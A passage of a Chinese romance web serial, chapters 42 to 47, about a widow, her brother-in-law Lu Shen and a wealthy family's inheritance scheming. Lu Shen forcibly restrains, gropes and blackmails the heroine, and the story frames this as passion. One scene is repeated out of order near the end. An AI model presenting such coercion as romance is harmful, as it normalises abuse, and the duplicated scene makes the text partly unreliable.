陆家二房的柯沁正陪在一旁,剥着葡萄。
程丽梅挺直了脊背走进来,将包里的产检单轻轻放在红木桌上,嘴角带着浅笑。
“弟妹这话说早了。若是这孩子命好,是个能撑起陆家门楣的长孙,多疼两分也是应当的。”
程丽梅走到老爷子面前,声音温和了许多,“爸,医院那边结果出来了,是个男孩。”
“男孩?”陆老爷子浑浊的眼眸瞬间亮起一丝精光,猛地坐直了身子,“确定了?”
“医生反复确认过了,发育得很好。”程丽梅笑意盈盈。
“哟,那还真是恭喜大嫂了。”
柯沁阴阳怪气地笑了一声,眼神里满是不信。
“这盲盒还没开呢,就定性是金孙了?现在的医生啊,为了讨好病人,什么话都敢说。再说了,我今儿在医院可听说,大嫂已经私下把阿钦名下的信托基金许给苏可人了?这事儿,爸您知道吗?”
陆老爷子的脸瞬间拉了下来,目光威严地扫向程丽梅。
“有这回事?”
第四十二章 我答应联姻
程丽梅面色一僵,正要辩解,门口传来了一阵轻缓的脚步声。
苏亦姝刚踏进大厅,便感受到了这种剑拔**张的氛围。
“爷爷,妈,二婶。”苏亦姝礼貌地点了点头。
“亦姝回来了。”老爷子稍微缓和了神色。
“亦姝啊,你回来得正好。”
柯沁唯恐天下不乱,拉住苏亦姝的手,假装亲热。
“你听听,你婆婆说是苏可人肚子里怀了个男孩。你作为阿钦的遗孀,这往后的日子,怕是更尴尬了。某些人还没进门,就想着搬空陆家的家底呢。”
苏亦姝动声色地抽出手,淡然一笑。
“二婶多虑了。只要是阿钦的血脉,男孩女孩我都喜欢。至于家底……陆家的东西,爷爷自有定夺,哪是我们这些小辈能置喙的?”
一句话,既堵了柯沁的嘴,又表了态,让老爷子的脸色好看不少。
“哼,都少说两句!”
老爷子重重地杵了一下拐杖,看向程丽梅。
“信托基金的事,谁也不准动。等孩子平安落地,做了亲子鉴定再说!”
程丽梅咬了咬牙,点头称是。
就在这时,门外传来一阵引擎的轰鸣声。
陆慎沉着脸走进了大厅,浑身裹挟着还未散去的戾气。
“你还知道回来!”老爷子一看到陆慎,压抑了一晚上的怒火终于爆发。
陆慎旁若无人地坐下,长腿交叠,随手松了松领带,语气冷淡:“爷爷找我有事?”
老爷子气得胡子微颤,“赵家宴会上的事,你打算怎么交代?当众拒婚,你让西双的脸往哪儿放?让赵家的脸往哪儿放?”
陆慎冷嗤一声,目光有意无意地扫向一旁的苏亦姝,见她垂眸不语,心底那股躁郁更甚。
“我从没答应过要娶她,何来拒婚?”
“胡闹!”老爷子猛地拍案。
“赵陆两家联姻是定局!西双那孩子能力出众,家世相配,哪一点委屈你了?我已经跟你赵爷爷商量过了,下个月初就给你们订婚!”
“我说过,我不娶。谁想联,谁去娶。”陆慎语气坚决。
“你——!”
老爷子气得大喘气,指着陆慎对苏亦姝说道:“亦姝,你是大嫂,你劝劝他!他现在不得了了,连祖宗规矩都不顾了!”
苏亦姝在众人的注视下,缓缓抬起头。
她看着陆慎那双布满血丝、死死盯着自己的眼睛,心口一缩,却还是极力克制着情绪,平静地开口。
“小叔子,赵小姐确实很优秀,也很适合你。为了陆家的利益,你确实不该意气用事。”
陆慎听着她这副公事公办的口吻,怒极反笑。
他猛地站起身,逼视着苏亦姝,声音低哑得让人心颤。
“大嫂觉得,我该为了陆家的利益,去娶另一个女人?”
陆慎一步步走向苏亦姝,每一步都踩在苏亦姝紧绷的神经上。
陆慎在苏亦姝面前站定,两人距离刚刚好,单苏亦姝依旧能闻到他身上淡淡的冷杉香气中夹杂着未散的酒意。
“大嫂不仅持家有方,现在连我的婚事都能‘深明大义’地指手画脚了?”
陆慎嘴角勾起玩味的笑,修长的手指突然抬起,在众人的惊呼声中,并没有做出逾矩的动作,而是极其自然地替苏亦姝理了理她那月白色套装微乱的领口。
在外人看来,这是小叔子对长嫂的恭敬。可在苏亦姝眼里,那微凉的指尖擦过她颈侧的皮肤,带起一阵令她战栗的战栗。
“阿慎,你这是什么态度!”老爷子皱眉喝道。
“什么态度?”
陆慎没有回头,目光死死锁住苏亦姝那双因极度隐忍而微微发颤的眸子,压低声音,用只有他们两人能听到的频率,极尽暧昧又极尽讽刺地低语。
“大嫂既然这么希望我娶赵西双,那不如……订婚宴上的礼服,你亲手帮我挑?或者是,新房的床单换成什么颜色,大嫂也替我拿个主意?”
苏亦姝心跳如擂鼓,面上却强撑着冷清,她后退半步,拉开两人那危险的距离,微微欠身。
“小叔子说笑了。你是陆家的中流砥柱,这些事自然有妈和赵小姐商量。我作为大嫂,只能祝你们百年好合。”
“百年好合?”
陆慎突然低笑出声,笑声沙哑而疯狂。他转过身看向老爷子,语气虽是妥协,却透着一股孤注一掷的狠戾。
“好,既然大嫂都发话了,这婚事,我应下了。”
大厅内死一般的寂静。程丽梅原本紧绷的脸瞬间松开,露出狂喜;
老爷子也松了一口气,满意地捻了捻胡须
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。
“好!这才是陆家孙子该有的担当!”老爷子大笑。
唯有苏亦姝,浑身的血液在陆慎说出“应下了”的那一刻,彻底凉透。
她太了解陆慎了,他绝不是那种会为了家族利益牺牲自己的人。
他答应得这么痛快,背后一定藏着足以让她脱一层皮的代价。
“不过……”
陆慎话锋一转,目光再次落在苏亦姝身上,眼底翻涌着侵略性。
“既然是要两家联姻,大嫂作为陆家长媳,理应全权负责订婚宴的筹备。从礼服定制到场地布置,我都要……大嫂亲力亲为。”
“这不合规矩……”程丽梅下意识反对。
陆慎冷嗤,“规矩?大嫂刚才不是说为了陆家利益吗?我觉得让最稳重的大嫂来办,最有利益保障。爷爷,您说呢?”
老爷子此时一心只想订婚的事定下来,自然点头称好。
“亦姝啊,那这段时间你就辛苦点,多和西双走动走动。”
苏亦姝如鲠在喉,只能顶着程丽梅惊疑不定的目光,咬牙应下:“……好。”
众人散去,陆家老宅的走廊幽深而静谧。
苏亦姝今晚住在老宅,她走得很急,她只想赶快回到房间。
然而,就在她经过二楼转角处那扇红木门时,一只有力的手臂猛地从暗处伸出,直接将她拽入了漆黑的休息室内。
“唔——!”
尖叫声被一双带着薄茧的大手死死捂住。
苏亦姝被抵在冰冷的墙壁上。
黑暗中,陆慎的呼吸沉重而滚烫,他将头埋在苏亦姝的颈窝,狠狠吸了一口她身上清冷的冷香,声音沙哑得不像话。
“苏亦姝,百年好合?嗯?”
“放开……你疯了!”苏亦姝拼命挣扎,双手抵住他坚硬的胸膛。
陆慎的手掌不安分地顺着她腰线的弧度缓缓上移,最后停在她心口的位置,感受着那剧烈的心跳,讽刺道,“大嫂这里跳得这么快,是在为我高兴吗?还是在害怕……我真的娶了她,就没人像这样抱着你了?”
“陆慎,你这种行为只会让我觉得恶心!”苏亦姝发狠地咬在他肩膀上。
陆慎闷哼一声,却没松手,反而更深地压向她,指尖暧昧地摩挲着她的唇瓣。
“恶心也得受着。”
第四十三章 原来,自己是个小丑
休息室内的空气稀薄得令人窒息。
陆慎的吻带着惩罚的意味,落在她的颈侧,激起一阵阵颤栗。
“陆慎……你到底要折磨我到什么时候?”苏亦姝声音沙哑,眼眶微红。
陆慎终于松开了捂住她嘴的手,却依然将她囚禁在双臂之间。
看着她那副清冷面具碎裂的样子,心底闪过一抹快意,随即又是更深的暴戾。
“折磨?大嫂,这才是刚开始。既然你这么想看我娶赵西双,那我就如你所愿。”
他松开了她,整了整微乱的衬衫领口,眼神冰冷。
“订婚宴的事情,就麻烦大嫂了……”
陆慎转身推门而出,带起的冷风让苏亦姝忍不住打了个寒颤。
接下来的几天,苏亦姝表现得极度职业。
她不仅亲自挑选了订婚宴的场地,还联系了顶级的婚纱设计师为赵西双量身定做。
赵西双坐在苏氏分公司的休息室里,看着苏亦姝递过来的流程表,眼神复杂。
“亦姝姐,你做事真的很妥帖。”赵西双抿了一口咖啡,语气却有些沉。
苏亦姝神色淡然,翻动着手里的样图。“应该的。陆家和赵家联姻是双赢,我作为陆家的一份子,自然希望阿慎能好。”
“阿慎?”赵西双挑眉,半开玩笑地说道:“你以前都叫他小叔子,现在私下里,倒是不避讳了。”
苏亦姝握笔的手顿了顿,语气依旧平稳。“一时口误。”
“其实我真不明白,那个苏可人有什么好得意的。我听说,那是个男孩。一个私生女肚里爬出来的种,还没落地就想分陆家的家产,真是可笑。”
赵西双突然话锋一转,语气中带着浓浓的不屑,
苏亦姝抬眸,看着赵西双那张写满厌恶的脸,神色依旧清淡。
“既然赵小姐不悦,等进了门,有的是手段料理。不过现在,咱们还是先定下订婚宴的主题色。”
赵西双见她这副波澜不惊的样子,心里的怀疑消了几分,却总觉得苏亦姝背后藏着一双能看透一切的眼。
送走赵西双后,苏亦姝脸上的笑容瞬间褪去。
“海绵,查得怎么样了?”
海绵快步走进办公室,将一份密封的文件袋放下,声音压得很低。
“苏总,您猜得没错。苏可人产检的那家医院,主治医生确实被程丽梅买通了。真实结果显示,苏可人怀的是个女孩,而且……胎儿发育迟缓。”
苏亦姝拆开文件,冷笑一声:“为了那点遗产,程丽梅还真是敢玩狸猫换太子的戏码。那孩子的父亲呢?”
海绵皱眉。
“这就是最奇怪的地方。我顺着苏可人怀孕前的行踪查下去,发现她那段时间经常出入一家私人会所,跟一个叫吴海岩的男人来往密切。这个吴海岩是个混混,曾因为**入狱。我本来想把人带过来,却发现……”
“发现什么?”
“发现吴海岩半个月前就被另一拨人接走了。我查了那辆车的车牌,是陆总名下的。”
苏亦姝猛地站起身,手里的纸张被她捏成了一团。
陆慎!
他早就知道!
他手里握着足以让苏可人和程丽梅万劫不复的证据,却一直按兵不动。
他看着程丽梅在老爷子面前撒谎,看着苏可人跳梁小丑般表演,甚至……看着她苏亦姝在这个局里步步惊心。
当晚,苏亦姝去了陆慎的别墅。
看到苏亦姝来,陆慎有些意外,更多的是高兴。
门一开,迎接他的是一叠狠狠甩在脸上的文件。
“陆慎,你玩得挺开心啊?”
苏亦姝站在门口,气得浑身发抖。
“吴海岩在你手里,他是苏可人肚子里孩子的亲生父亲!你看着我像个傻子一样在陆家周旋,看着我为了遗产在你面前低声下气,你是不是觉得特别有成就感?”
陆慎接住滑落的文件,随意扫了一眼,脸上的表情甚至没有一丝波动。
他靠在墙壁上,点燃了一支烟。
“既然你查到了,我也没必要瞒你。我是知道,那又怎样?”
“那又怎样?”苏亦姝冷笑,眼底是一片冰冷。一时间,觉得自己像个笑话。
陆慎吐出一口烟雾猛地伸手,扣住苏亦姝的腰,将她整个人带进怀里,动作粗暴而决绝。
“我就是想让你知道,离了陆家,离了我,你什么都不是。”
陆慎掐住
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她的下巴,力道大得几乎要捏碎她的骨头。
“苏亦姝,你不是清高吗?不是要脱离陆家吗?我就是要让你看看,这个圈子里到处都是**不吐骨头的狼。你想清清白白地走?做梦。”
“你疯了……你这个变态!”苏亦姝挣扎怒斥。
陆慎讽刺地冷笑一声,凑近她耳边,声音低得像恶魔的低语。“苏亦姝,你逃不掉,你得陪着我,在这地狱里熬着。”
他将她狠狠推开,站起身,居高临下地俯视着她,眼神里再也没有了往日的温度,只有一片死寂。
“订婚宴继续筹备。苏亦姝,你最好祈祷你能一直这么‘深明大义’下去。否则,吴海岩随时会‘失踪’,到时候苏可人肚子里的,就永远是陆钦的‘长孙’。”
苏亦姝看着他,心一寸寸地沉入谷底。
很快,她又恢复了往日清冷的模样。
笑着说道:“放心,我会好好筹备小叔子和赵小姐的订婚,定把你们的订婚宴办的漂漂亮亮。”
说完,苏亦姝直接转身离开。
陆慎听着她的话,看到她那决绝的背影,气得扬手拿起旁边的古董花瓶,摔在地上。
车内一片死寂,只有仪表盘发出的微弱蓝光,映照着苏亦姝那张惨白如纸的脸。
苏亦姝紧握着方向盘,掌心早已被冷汗浸湿。
她在这狭窄的空间里坐了很久,久到浑身的血液似乎都凝固了。
陆慎的话像毒蛇的信子,一遍遍在耳边掠过:“离了我,你什么都不是。”
“呵呵。”苏亦姝自嘲地低笑出声,眼眶干涩得发疼,却流不出一滴泪。
她原以为自己是在和豺狼周旋,却没想到,陆慎是一口深不见底的枯井,他不仅要看她挣扎,还要拉着她一起溺死。
他握着苏可人的命门而不发,就是为了看她在这场豪门闹剧中像个小丑一样战战兢兢。
这种被**于股掌之间的羞耻感,比陆慎在休息室里的侵犯更让她难以忍受。
良久,她缓缓吐出一口浊气,眼神里的碎光一点点聚拢,重新凝结成一种近、乎决绝的冷静。
既然陆慎想要玩“地狱”的游戏,那她奉陪就是了……
第四十四章 试探与反击,淡定
苏亦姝从警局出来时,午后的阳光有些刺眼。
紧接着,程丽梅的电话打来了。
接通电话,程丽梅倨傲中带着命令的口吻便传来了。
“亦姝,你现在回来一趟,西双来了,找你商量订婚宴的事。”
“好。”
挂了电话,苏亦姝眼底划过一抹嘲讽,这陆家的老宅,如今对她而言,不过是另一座困兽之斗的牢笼。
陆家老宅。
一进门,大厅里的欢声笑语瞬间凝滞了一秒,随即又恢复了热络。
“亦姝姐,真不好意思,还要你特地回来一趟。”
赵西双穿着高定品牌的当季新款,妆容精致,一见苏亦姝便亲**迎了上来,那姿态仿佛已经是这宅子半个女主人。
“没事,正好下午公司不忙。”
苏亦姝挂着挑不出错处的浅笑,目光扫过在场的众人——老爷子端坐主位,程丽梅一脸慈爱,柯沁和陆域在一旁看戏,而陆慎……
那个男人坐在单人沙发上,修长的双腿交叠,手里把玩着一个金属打火机,明明姿态慵懒,周身却散发着令人窒息的低气压。
苏亦姝只淡淡扫了他一眼,便若无其事地移开视线,径直走到离他最远的位置坐下。
陆慎握着打火机的手指骤然收紧。
从她进门到现在,那种彻底的无视,像是一根细针,扎进他心底的痛处。
昨晚在她离开后,他就后悔了。
追出去找她,却不见她人。他立即就去她公寓,只是最后,没有上去……
昨晚在她公寓楼下的那几个小时,成了他一个人的独角戏。
“亦姝,西双说你推荐给她的礼服,她都喜欢,一时间拿捏不定,所以过来问问我们。”
程丽梅笑着开口,显然对这位准儿媳满意至极。
赵西双顺势挽住陆慎的手臂,整个人亲昵地贴上去。
“阿慎,这几款礼服都是亦姝姐精心挑选的,你帮我看看嘛。”
陆慎眉头微蹙,下意识想抽出手臂,余光却瞥见苏亦姝正低头喝茶,连个眼风都没往这边扫。
那副置身事外的淡然模样,瞬间激起了他心底的戾气。
他任由赵西双挽着,视线却死死锁住那个女人。
“既然是大嫂挑的,那自然是最好的。毕竟……大嫂最懂怎么讨人欢心。”
这话里的讽刺意味太浓,赵西双脸上的笑容僵了一下。
程丽梅有些不满地瞪了儿子一眼。
“阿慎,好好说话!”
陆域在一旁“噗嗤”一声笑出来,唯恐天下不乱。
“二哥这话说得,大嫂也是为了你的订婚宴操碎了心。大嫂眼光向来不错,这些礼服确实衬得赵小姐更加明艳动人。”
苏亦姝放下茶杯,抬眸看向赵西双,语气温和得滴水不漏。
“既然都喜欢,那就全订了吧。一生一次的订婚宴,多备几套也是应该的。另外,我已经让设计部根据这几套礼服的风格去调整现场布置方案了,过两天拿给赵小姐过目。”
赵西双眼睛一亮,她当然也是这么想的,只是不好意思开口。
“全订?亦姝姐,你也太懂我了!真的太谢谢你了!”
苏亦姝这番滴水不漏的安排,让赵西双心底最后一丝疑虑也消散了。
看来,苏可人的那话,根本就是她故意杜撰出来的。
“大嫂对阿慎的婚事还真是上心啊。”陆域再次阴阳怪气地插嘴,目光在苏亦姝和陆慎之间来回打转。
苏亦姝转头看向陆域,笑得坦荡。“那是自然。二弟以后结婚,若是信得过我,我也一定尽心尽力。”
一句话,堵得陆域哑口无言。
就在气氛稍显缓和时,赵西双突然话锋一转,看似无意地说道:“亦姝姐,其实阿钦大哥已经走了这么久,你还这么年轻,一直守着这空荡荡的日子也不是个事儿……”
这话一出,大厅里的空气瞬间凝固。
程丽梅脸色微变,却碍于赵西双的身份没有发作。
老爷子也只是沉着脸抿了口茶。
陆慎手中把玩的打火机“咔哒”一声,火苗窜起又熄灭,映照着他眼底晦暗不明的情绪。
苏亦姝却只是淡淡一笑,语气平静得像是在说别人的事。
“现在的日子挺好的,清净。再说了,对于未来,我也自有规划。”
陆慎突然嗤笑一声,声音听不出情绪来。“自有规划?大嫂的规划,莫不是打什么主意吧,这才对我的婚事这么上心。
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”
苏亦姝终于转头看他,眼神清明,甚至带着一丝怜悯。
“小叔子多虑了。我是盼着你早点成家,这样以后家里这一摊子事,也就有人帮我分担了。”
陆慎看着她那副公事公办的样子,心口像是被塞了一团棉花,堵得发慌。
一直熬到傍晚,苏亦姝的手机突然震动了一下。她看了一眼屏幕上的信息,眼底闪过一丝不易察觉的冷光,还有一些欢喜。
“爷爷,妈,公司那边有点急事需要处理,今晚我就不陪大家吃饭了。”苏亦姝起身告辞,动作干脆利落。
“去吧,正事要紧。”老爷子摆摆手。
苏亦姝点点头,转身便走,从头到尾,没有再看陆慎一眼。
随着她的身影消失在门口,陆慎周身的气压低到了极点。
他猛地站起身,还没迈步,就被老爷子叫住。
“阿慎!你去哪?”老爷子沉声道,“待会儿吃完饭,你负责送西双回去。”
陆慎脚步一顿,烦躁地扯了扯领带。
“我有事。”
“你能有什么事?比陪未婚妻还重要?”老爷子重重杵了下拐杖。
赵西双见状,连忙打圆场。
“陆爷爷,没事的,阿慎工作忙,我自己回去就行……”
“不用你替他找借口!”
陆慎听着身后的争执声,脑海里全是苏亦姝刚才那个决绝的背影。
她这个时候急着离开,到底是去处理公事,还是去见什么人?
陆慎坐在餐桌前,修长的手指捏着银质餐刀,在瓷盘上划出刺耳的声响。
看着赵西双满脸娇羞地谈论着订婚细节,他只觉得胃里翻腾着一股无名火,烧得他太阳穴突突直跳。
那个女人,走得那么决绝,甚至连头都没回一下。
“阿慎,你多吃点,看你最近都瘦了。”赵西双贴心地夹了一块牛肉放进他盘子里。
陆慎盯着那块肉,眼神阴鸷得可怕。
他猛地推开餐盘,站起身,声音冷若冰霜:“我没胃口,你们吃。”
“阿慎!”程丽梅在身后喊了一声。
陆慎却充耳不闻,抓起车钥匙直接冲出了老宅。
赵西双看着陆慎的背影,脸色非常难看……
第四十五章 点个男模来消遣
城中心最奢靡的私密会所——夜色。
包厢内,重金属音乐震耳欲聋,五彩斑斓的灯光疯狂扫射。
苏亦姝坐在最中央的真皮沙发上,手里端着一杯明艳的鸡尾酒。
她脱掉了在老宅时那身端庄的月白色套装,此刻穿着一件极显身材的黑色吊带裙。
细窄的肩带勒在如雪的肌肤上,清冷的气质在酒精与迷离灯光下,竟催生出一种动人心魄的野性美。
坐在苏亦姝身侧不远处,是她刚回国的闺蜜方思荷,也是她为数不多的姐妹中,感情最好的一位。
“亦姝,你就放心吧,瑞士那边的医疗很发达。”
两人从小一起长大,苏亦姝将母亲转移到瑞士,接头人正是方思荷。
“我详细问了医生,你妈妈的情况正在好转,苏醒概率很大。”方思荷凑近,声音在嘈杂中略显低沉。
方思荷早些年在那边读书,回国后在家里企业工作。工作了两年觉得无趣,就又回到瑞士那边,独立成立了一个工作室。
苏亦姝知道她在瑞士那边有些人脉,也有些能力,便把母亲暂时委托给她。
方思荷当时一口应下,对她来说,苏亦姝的事情,就是她的事情。
“谢了,姐妹。”苏亦姝端起酒杯,对着方思荷示意,一饮而尽。
多余感谢的话,她也不会说。毕竟两人的关系,犯不着。
方思荷喝了一口酒,凑近了些。
“对了,你在陆家怎样了?你那个婆婆还在为难你?还有你那个小叔子……你们之间?”对于苏亦姝的事情,方思荷也是知晓一些的。
心里对苏亦姝,那是既心疼,又无奈。
当初在陆钦追求苏亦姝的时候,方思荷就劝过苏亦姝,不要相信陆钦。不是说陆钦不好,只是这个人,有些妈宝男。
但是,陆钦对苏亦姝很执着。加上陆家主动去苏家提亲,所以这件事,最后苏亦姝答应了。
在得知陆钦出轨的时候,当时方思荷在国内。
她清楚地记得,苏亦姝当时非常平静。那个时候,她就知道,自己这个姐妹,苦水都是自己往肚子里咽。
“就那样……我那个婆婆暂时没时间理会我,忙着准备我小叔子跟赵西双的订婚宴。”
“什么?陆慎跟赵西双?那你怎么办?”方思荷一脸震惊。
苏亦姝笑了下。“什么我怎么办?他们订婚那是他们的事情,跟我什么关系?”
“可是,你跟他……”方思荷皱眉。苏亦姝在国外跟陆慎在一起的事情,她是知道的。
谁也没想到,陆慎竟然是陆家人,跟陆钦竟然是同父同母的亲兄弟。
见鬼了真是。
要知道,陆慎当初在国外的日子,可并不过。任谁都无法联想到,他竟然是陆家的少爷!!!
“他只是我的小叔子,仅此而已!”苏亦姝的语气冷淡又坚定。
方思荷盯着她看了好久,见她不似在赌气,便笑着说道:“那就小叔子吧。现在这世道,三条腿的蛤、蟆不好找,两条腿的男人还不好找了?来来来姐妹,今晚我请客,咱们点男模。”
苏亦姝一顿。
“别别别,我现在的身份……”
“啥身份啊?陆家的遗孀?得了吧,那都是说给活人听的。陆钦那死鬼,先不说已经**几个月了,就算没死,特么的都已经劈腿了,孩子都搞出来了,所以,你为他守身如玉做什么?”
苏亦姝摸了摸鼻子,有些底气不足。
其实,也没为他守身如玉。
“来,咱们今晚就吃点好的,听说这里新来了不少样貌端正的弟弟,咱们也尝尝看……”
苏亦姝:……
方思荷是个行动派,立即找来经理。
很快,一排形态各异、样貌清秀的男模鱼贯而入。
苏亦姝看着这些朝气蓬勃的脸孔,紧绷了几天的神经竟真的松了几分。
而这一幕,恰好被经过包厢门口的陈淮和顾从之撞个正着。
“我去!那不是苏亦姝吗?”陈淮眼珠子都快掉了,手比脑子快,直接拍了张照片发给陆慎。
【陆慎,你家大嫂在点男模,玩得挺花啊!】
顾从之想拦已经晚了,看着屏幕上显示的“发送成功”。
他头疼地扶额:“陈淮,你真是嫌命长了。”
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陈淮愣了下,刚要询问,陆慎的电话打来了。
刚接通,陆慎那暴戾的声音便传来。
“地址,给我!”
陈淮有些慌,但还是报出了地址。
在对方电话挂了之后,陈淮看向顾从之,悻悻然。
“我……是不是惹祸了?”
顾从之给了一个你说呢的眼神。
而包厢里面的苏亦姝根本就不知情,继续欣赏着这些养眼的弟弟。
“姐妹,赶紧挑选两个。”方思荷冲着苏亦姝眨眼。“我可是很够义气的,让你先挑。”
苏亦姝被她的话给逗笑了。“还是算了吧,我……”
“算什么算?我已经付钱了。”方思荷立即板起脸来。
苏亦姝在她的**之下,被迫挑选了两个看起来面色清秀的弟弟。
这两个弟弟一脸欣喜,毕竟,像苏亦姝这样的美人儿,在这里还是少见。
看到苏亦姝挑了,方思荷这才满意,然后快速挑选了两个。
被苏亦姝挑中的两个弟弟,坐在苏亦姝的一左一右。
“姐姐,吃个水果。”左边弟弟用叉子叉了个水果,递到苏亦姝的嘴边。
苏亦姝有些尴尬,这种风月场上的讨好让她极不自在。
但对上方思荷那双“你敢不吃我就闹”的眼睛,她只能自暴自弃地张开嘴。
看着方思荷跟她身侧的两个小弟弟正在调情着,姿态从容,满脸快乐。
苏亦姝适当地尽量放松自己。
右边的弟弟也不甘示弱,立即端起桌子上的酒,亲昵地喂到了苏亦姝的嘴边。
“姐姐,喝点酒润润嗓子。”
苏亦姝只能张开嘴喝着。
就在这个时候,包厢门猛地被踹开。
里面的人全都看向门口。
在看到门口站着的人后,苏亦姝愣了下。
她无比庆幸,刚才那口酒已经吞下去了,否则,真怕当场喷出来。
陆慎站在门口,浑身裹挟着未散的戾气,黑色的风衣带起一阵冷风。
他的目光在触及苏亦姝身侧那两个男人时,眼底的阴鸷瞬间化作浓烈的杀意。
“苏亦姝,你好样的!”
第四十六章 谁是谁的劫
陆慎出现在这里,着实让苏亦姝有些诧异。
这个时候,他不是应该在老宅,陪赵西双吗?
不过这些都不重要了。
不等她说话,陆慎大步跨入,长腿一勾,直接将面前的茶几踹歪。
那两个男模被陆慎周身散发的压迫感吓得脸色惨白,下意识想后退。
陆慎准地揪住其中一个男模的领子,猛地往外一甩,动作暴戾得像一头失控的野兽。
“滚!都给老子滚出去!”
会所经理和保镖赶来,一看是陆慎,吓得魂飞魄散,赶紧把包厢里的人清了个干净。
方思荷也察觉到气氛不对,给了苏亦姝一个自求多福的眼神,麻利地溜了。
苏亦姝很无语,姐妹这就过分了哈。
方思荷表示自己也不想,奈何,她很惜命。
一时间,空旷的包厢里只剩下陆慎和苏亦姝。
苏亦姝稳了稳心神,慢条斯理地放下酒杯,红唇微启。
“小叔子,你这架势,不知道的,还以为是来抓奸的呢……”
“抓奸?”
陆慎猛地俯身,双手死死撑在沙发靠背上,将她禁锢在胸膛与沙发之间。
他猩红的双眼死死盯着她脖颈上刚才被男模不小心蹭到的水渍,压抑着在失控边缘的情绪。
“苏亦姝,你是有多耐不住寂寞?竟然敢在外面找这种垃圾?”
苏亦姝顿时脸色发白,气得双眼猩红。
苏亦姝冷笑,清冷的眼眸里满是讥讽,“垃圾?在小叔子眼里,不听你话的都是垃圾?可我觉得他们挺好,至少他们不会一边算计我,一边还要我感恩戴德。”
陆慎的手指猛地收紧,真皮沙发被抓出刺耳的声响。
“既然大嫂这么寂寞难耐,我不介意代替我大哥,来安慰饥渴的嫂子……”
说着,陆慎眼中闪过一丝自暴自弃的戾气,大手猛地拽住了苏亦姝黑裙的细窄肩带。
“啪!”
一声清脆的耳光,响彻整个包厢。
陆慎的头被打得偏向一边,白皙的俊脸上瞬间浮现出五个鲜红的指印。
苏亦姝猛地站起身,浑身由于极度的羞辱而微微颤抖。
紧接着,她站了起来,怒瞪着陆慎。
“陆慎,我做什么你管不着,你也无权干涉!我就是寂寞了,想要找男人。我就算苏亦姝明天去睡遍这江城所有的男人,也不会再碰你陆慎一下,因为你……”
她顿了顿,一字一顿,极尽残忍,“让我恶心!”
那一瞬间,陆慎感觉心脏像是被什么东西生生剜去了一块。
苏亦姝抬脚准备离开。
“站住!”陆慎猛地转身,一把攥住她的胳膊。用力一拽,苏亦姝站立不稳,再次跌坐在沙发上。
“管不着?无权干涉?”
陆慎俯视着她,眼神里带着一种病态的冷意,“你是不想要陆钦的遗产了?还是不想要那个你费尽心机拿回来的苏氏了?”
苏亦姝抬头看着他,两人目光互不相让,空气中火星四溅。
突然,苏亦姝笑了。
那是陆慎从未见过的笑,凄绝、荒凉,仿佛连灵魂都枯萎了。
“陆慎,我不要了……”
她轻声呢喃,却字字如重锤,“不管是陆钦的遗产,还是苏氏……我统统都不要了。所以,你满意了吧?”
陆慎瞳孔骤然紧缩。
他最怕的不是她的恨,而是她的“不要了”。
她连苏氏都不要了,就意味着她要彻底切断和他之间的一切。
“苏亦姝,你别忘了,若是没有苏氏的资金,你拿什么去维持你母亲在瑞士高昂的医疗费?”
陆慎的话说出口就后悔了,他知道这是在往她心窝上扎刀,可他太慌了,他只能拿捏住她唯一的命门。
为了留住她,他不在意!只要她依赖自己,离不开自己就行!
苏亦姝原本通红的眼眶瞬间溢出了泪,却被她强撑着瞪大眼,生生逼了回去。
她看着这个男人,这个曾让她在无数个黑夜里贪恋一点温暖的男人,此刻却如此卑鄙地威胁她。
“你果然让人恶心。”苏亦姝冷笑着,突然伸手抓住自己的黑色吊带,猛地向下一拽。
“刺啦”一声,脆弱的布料在拉扯下破碎,原本就低胸的裙摆瞬间塌陷。
“你不就是想睡我吗?你不就是想看我求饶、看我无助吗?来啊!”
她一边流泪一边疯狂地自毁,眼神涣散却充满恨意,“小叔子睡嫂子,多刺激啊!在陆钦的灵位前,在你的订婚宴上,
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你想要什么姿势,我都配合你!来啊!”
大片雪白的肌肤暴露在冰冷的空气中,那种近、乎自残的羞辱感让陆慎的瞳孔剧烈颤抖。
他像被火烫到一般,猛地伸手按住她的手,将那滑落的肩带死死提回去,粗暴地把她的衣服拉好。
“苏亦姝!你疯了!”
陆慎低吼道,声音里竟带着一丝连他自己都没察觉的颤音。
看着她这副支离破碎的样子,他心底的暴戾竟化作了铺天盖地的无力感。
他想抱她,想亲吻她的伤口,可他知道,哪怕他现在伸出一根手指,对她来说都是最致命的侮辱。
苏亦姝像是一具木偶,任由他拉好衣服,只是那双冷冰冰的眼睛,再也没有了一丝温度。
陆慎不敢再看她,踉跄着冲出了包厢。
陆慎站在包厢外的走廊尽头,一根接一根地抽烟。指尖在颤抖,尼古丁也压不住那股钻心的慌乱。
见方思荷在不远处探头探脑,他嗓音沙哑地开口:“进去陪她。”
方思荷不敢怠慢,赶紧冲进包厢。
一进门,就看到苏亦姝像具木偶一样坐在阴影里。
“亦姝……”
苏亦姝转过头,泪水顺着苍白的脸颊滑落,声音支离破碎。
“思荷,带我走……带我走!”
方思荷心疼得要命,赶紧脱下外套披在她身上,扶着她从后门迅速离开。
陆慎在远处看着那道纤瘦的背影渐渐消失在会所出口,那种失控感让他几乎窒息。
就在这时,他的手机疯狂震动。
陈淮发来一个链接,声音急促:“陆慎,出事了!有人在网上爆料了!”
头条新闻瞬间炸开了锅:【陆家豪门少夫人,亡夫去世没多久,耐不住寂寞会所点男模!】
苏亦姝甩开陆慎的手,眼底的冰冷刺痛了陆慎的眼睛。
“陆慎,你果然让人恶心!”
继而冷笑着,开始拽自己的吊带。
“你不就是想睡我吗?来啊,给你睡……小叔子睡嫂子,多刺激啊!”
看着苏亦姝已经褪下吊带,快要露出上半身来,陆慎眼眸骤然一缩。
立即伸手把她衣服拉好。
眼底的隐忍和愤怒,让他整个人看上去格外暴戾
第四十七章 自溺与救赎,谁比谁更痛
【陆家豪门少夫人,亡夫去世没多久,耐不住寂寞会所点男模!】
配图里,苏亦姝身穿黑色吊带裙,正侧着脸让男模喂酒。虽然只是侧影,但熟悉的人一眼就能认出。
陆慎看着照片,眼底的暴戾再次炸裂。
他一把捏灭了手中的烟头,冷笑出声。
敢动他的人,真是在找死。
“周轩,压下所有新闻,十分钟内,我要知道这张照片是谁拍的!”
而此时的苏亦姝,已经坐在了方思荷的车子里。
方思荷一边开车,一边担忧地看向苏亦姝。
早知道这样,刚才的时候,自己就不该离开了。
原本还以为,那个陆慎不会对亦姝做什么,现在看来,就是个混蛋。
方思荷心中忿忿不平,把陆慎祖宗十八代都给问候了一遍。
苏亦姝一言不发,像是一尊失去了灵魂的瓷娃娃,只是盯着窗外飞速后退的霓虹灯。
